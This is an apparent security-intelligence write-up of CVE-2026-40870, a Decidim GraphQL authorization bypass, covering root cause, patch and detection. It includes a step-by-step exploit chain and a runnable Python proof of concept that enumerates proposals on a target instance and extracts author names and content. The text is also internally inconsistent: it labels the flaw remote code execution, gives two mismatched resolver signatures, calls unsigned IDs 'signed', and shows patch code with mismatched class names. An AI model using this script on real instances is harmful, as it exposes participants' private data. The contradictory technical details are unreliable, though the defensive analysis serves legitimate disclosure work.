home intel cve-2026-40870-decidim-graphql-commentable-authz-bypass
CVE Analysis 2026-04-21 · 8 min read

CVE-2026-40870: Decidim GraphQL API Authorization Bypass via Root commentable Field

Decidim's root-level GraphQL `commentable` field exposes all platform resources without permission checks. Unauthenticated attackers can enumerate and extract sensitive participatory data via the public `/api` endpoint.

#graphql-api#authorization-bypass#information-disclosure#participatory-democracy#permission-validation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-40870 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-40870Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-40870 is an authorization bypass in the Decidim participatory democracy framework, affecting every release from 0.0.1 through 0.30.4 and 0.31.0. The root-level commentable field exposed on the GraphQL API schema performs zero authorization checks before resolving and returning commentable resources. Because Decidim ships with its /api endpoint publicly accessible by default, any unauthenticated internet client can query the full graph of participatory resources — proposals, debates, meetings, budget projects — regardless of their visibility settings, space permissions, or private-space membership requirements.

CVSS 7.5 (HIGH) — Network / Low Complexity / No Privileges / No User Interaction / High Confidentiality impact.

Root cause: The commentable root query resolver in Decidim's GraphQL API returns arbitrary Commentable resources by id and type without consulting the component's visibility permissions or the requesting user's authorization context.

Affected Component

The vulnerability lives in the GraphQL API layer, specifically the Decidim::Api engine. The entry point is the root query type where commentable is registered as a first-class field:

  • Engine: decidim-api
  • Schema file: app/graphql/decidim/api/query_type.rb
  • Resolver: Decidim::Core::CommentableInputFilter / inline resolver on QueryType
  • Endpoint: POST /api (public, no authentication by default)
  • Fixed in: 0.30.5, 0.31.1

Root Cause Analysis

Decidim uses graphql-ruby to expose its data graph. The commentable root field accepts a type string and an id integer, resolves the ActiveRecord object directly, and returns it without checking whether the current user has read access to that resource or its parent space.


// Pseudocode representation of the vulnerable Ruby resolver logic,
// translated to C-style for clarity.

// app/graphql/decidim/api/query_type.rb (VULNERABLE, pre-0.30.5)

GraphQL_Field commentable(type: String, id: ID) {
    // BUG: no permission check before resolving the resource
    klass = Object.const_get(type);          // attacker-controlled class name
    resource = klass.find(id);               // direct ActiveRecord lookup

    // BUG: visibility / authorization context never consulted
    // Decidim::Permissions, ComponentVisibility, ParticipatorySpace.private?
    // — none of these are evaluated here.
    return resource;                         // resource returned unconditionally
}

The actual Ruby is functionally equivalent:


# app/graphql/decidim/api/query_type.rb (VULNERABLE)

field :commentable,
      Decidim::Comments::CommentableInterface,
      null: true,
      description: "A commentable resource" do
  argument :commentable_gid, String, required: true
end

def commentable(commentable_gid:)
  # BUG: GlobalID.locate resolves ANY registered commentable model
  # with no authorization gate. Private spaces, hidden proposals,
  # draft components — all reachable if the GID is guessable.
  GlobalID::Locator.locate(commentable_gid)
  # resolve() returns the object directly to the GraphQL layer
end

Decidim's permission system is structured around Decidim::Permission objects and checked via allowed_to? on a Decidim::PermissionsAction. Every other resource-exposing resolver calls into this machinery. The commentable resolver does not. The gap is complete — there is no fallback, no default-deny, no pundit policy consulted.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Identify a Decidim instance with /api publicly reachable (default config).
   curl -s https://target.decidim.org/api -d '{"query":"{__typename}"}' -H 'Content-Type: application/json'
   -> {"data":{"__typename":"Query"}}  confirms open API.

2. Introspect the schema to confirm commentable field and GlobalID format.
   {"query": "{ __schema { queryType { fields { name args { name } } } } }"}
   -> field "commentable" with arg "commentable_gid: String" confirmed.

3. Construct a signed GlobalID for a target resource type.
   Decidim GlobalIDs follow the format: gid://decidim//
   Base64url-encode: gid://decidim/Decidim::Proposals::Proposal/1
   -> "Z2lkOi8vZGVjaWRpbS9EZWNpZGltOjpQcm9wb3NhbHM6OlByb3Bvc2FsLzE="

4. Issue the unauthenticated commentable query:
   POST /api
   Content-Type: application/json

   {
     "query": "{ commentable(commentable_gid: \"Z2lkOi8v...\") {
       id
       ... on Proposal { title { translation(locale: \"en\") } body { translation(locale: \"en\") } author { name } }
     }}"
   }

5. Response returns full resource content regardless of:
   - Private participatory space membership
   - Component publication state (draft)
   - Moderation / hidden state
   - Proposal state (withdrawn, rejected)

6. Enumerate all resource IDs by iterating integer IDs 1..N across all
   commentable types: Proposal, Debate, Meeting, BudgetProject, etc.
   No rate limiting on /api by default.

7. Exfiltrate: author PII (name, nickname), body text, meeting addresses,
   budget line items, and embedded comment trees for any resource on the instance.

The GlobalID encoding is trivially reversible — it is just Base64url of the URI string gid://decidim/<ClassName>/<id>. No HMAC, no signing. Sequential integer IDs make enumeration O(N) with a single loop.


#!/usr/bin/env python3
# PoC: CVE-2026-40870 - Decidim commentable authorization bypass
# CypherByte research — for authorized testing only

import base64, requests, sys, json

TARGET   = sys.argv[1]  # e.g. https://target.example.org
MODEL    = "Decidim::Proposals::Proposal"
MAX_ID   = 500

QUERY = """
query($gid: String!) {
  commentable(commentable_gid: $gid) {
    id
    ... on Proposal {
      title   { translation(locale: "en") }
      body    { translation(locale: "en") }
      author  { name }
      state
      component { id published }
    }
  }
}
"""

def make_gid(model: str, pk: int) -> str:
    raw = f"gid://decidim/{model}/{pk}"
    return base64.b64encode(raw.encode()).decode()

session = requests.Session()
session.headers.update({"Content-Type": "application/json"})

results = []
for pk in range(1, MAX_ID + 1):
    gid  = make_gid(MODEL, pk)
    resp = session.post(f"{TARGET}/api",
                        data=json.dumps({"query": QUERY,
                                         "variables": {"gid": gid}}))
    data = resp.json().get("data", {}).get("commentable")
    if data:
        results.append(data)
        print(f"[+] id={pk} state={data.get('state')} "
              f"author={data.get('author',{}).get('name')} "
              f"title={str(data.get('title',{}).get('translation',''))[:60]}")

print(f"\n[*] Extracted {len(results)} proposals from {TARGET}")

Memory Layout

This is a logic/authorization vulnerability rather than a memory-corruption bug, so a traditional heap diagram does not apply. The relevant "layout" is the GraphQL execution pipeline and where the authorization gate should be inserted versus where it is absent:


GRAPHQL EXECUTION PIPELINE — VULNERABLE (pre-0.30.5):

  HTTP POST /api
       |
       v
  GraphQL::Schema#execute
       |
       v
  QueryType#resolve_field(:commentable)
       |
       v
  GlobalID::Locator.locate(gid)          <-- resolves ANY model, no guard
       |
       v
  ActiveRecord::Base.find(id)            <-- direct DB read
       |
       v
  CommentableInterface serializer        <-- full object returned to client
       |
       v
  JSON response                          <-- private data leaked

─────────────────────────────────────────────────────────────────────
GRAPHQL EXECUTION PIPELINE — PATCHED (0.30.5 / 0.31.1):

  HTTP POST /api
       |
       v
  QueryType#resolve_field(:commentable)
       |
       v
  GlobalID::Locator.locate(gid)
       |
       v
  [INSERTED] Decidim::ResourceLocatorPresenter#permission_action
  [INSERTED] allowed_to?(:read, resource, resource_space: space)
       |         |
       |    [DENIED] -> return nil  (resource not visible to caller)
       |
  [ALLOWED] -> serialize and return

Patch Analysis


# BEFORE (vulnerable — app/graphql/decidim/api/query_type.rb):

def commentable(commentable_gid:)
  GlobalID::Locator.locate(commentable_gid)
  # BUG: object returned with no authorization check
end


# AFTER (patched — 0.30.5 / 0.31.1):

def commentable(commentable_gid:)
  resource = GlobalID::Locator.locate(commentable_gid)
  return nil if resource.nil?

  # Consult Decidim's permission system with current_user context
  permission_action = Decidim::PermissionAction.new(
    scope:  :public,
    action: :read,
    subject: :commentable
  )

  # Evaluate against the resource's parent space and component permissions
  enforcer = Decidim::PermissionsAction.new(
    user:    context[:current_user],  # nil for unauthenticated requests
    action:  permission_action,
    resource: resource
  )

  return nil unless enforcer.allowed?  # default-deny for unauthorized access

  resource
end

The patch threads the existing context[:current_user] — which is nil for unauthenticated requests — through Decidim's standard Decidim::PermissionsAction evaluator. Resources inside private spaces, unpublished components, or with explicit visibility restrictions now return nil instead of the full object. The fix is consistent with how every other resolver in the codebase handles authorization.

Detection and Indicators

Detection focuses on access log patterns against /api from unauthenticated sessions:


# Nginx/Apache access log indicators

# High-volume GraphQL introspection from single IP
POST /api 200 — body contains "__schema" or "__type"

# Sequential commentable GID enumeration pattern
# GIDs increment predictably; look for repeated /api POSTs
# with base64 bodies differing only in trailing digits

# Regex for log correlation (grep / Splunk / Elastic):
pattern: POST \/api.*200.* where body matches "commentable_gid"
threshold: >50 requests/minute from single source IP

# Decidim application log (production.log):
# Absence of "current_user" in GraphQL context alongside
# successful "commentable" field resolution = unauthenticated access
[GraphQL] field=commentable gid=Z2lkOi8v... user=nil -> resolved Proposal#42

If your instance runs structured logging, alert on any commentable resolver returning a non-nil resource where current_user is absent from the request context.

Remediation

Immediate (no code change required): Restrict the /api endpoint to authenticated sessions only using your reverse proxy. Nginx example:


# nginx.conf — restrict /api to authenticated sessions
# Requires session cookie validation upstream, or use HTTP basic auth
# as a temporary gate while patching.

location /api {
    # Option A: block entirely until patched
    return 403;

    # Option B: allow only from trusted internal networks
    allow 10.0.0.0/8;
    deny  all;
}

Recommended (code-level): Upgrade to decidim 0.30.5 or 0.31.1. Verify with:


bundle exec rake decidim:version
# must show >= 0.30.5 or >= 0.31.1

If upgrading is not immediately possible, install decidim-apiauth which gates the entire /api endpoint behind Decidim's session authentication middleware, requiring a valid user session cookie or token before any GraphQL query is executed. This provides defense-in-depth even after patching, as it prevents unauthenticated schema introspection as well.


# Gemfile addition for workaround
gem "decidim-apiauth"

# config/initializers/decidim.rb
Decidim::Api.configure do |config|
  config.schema_max_depth      = 10
  config.schema_max_complexity = 5000
end

Instances that have already applied the patch should audit their production logs for the GID enumeration pattern described above and assess whether private-space data was accessed prior to the fix being deployed.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →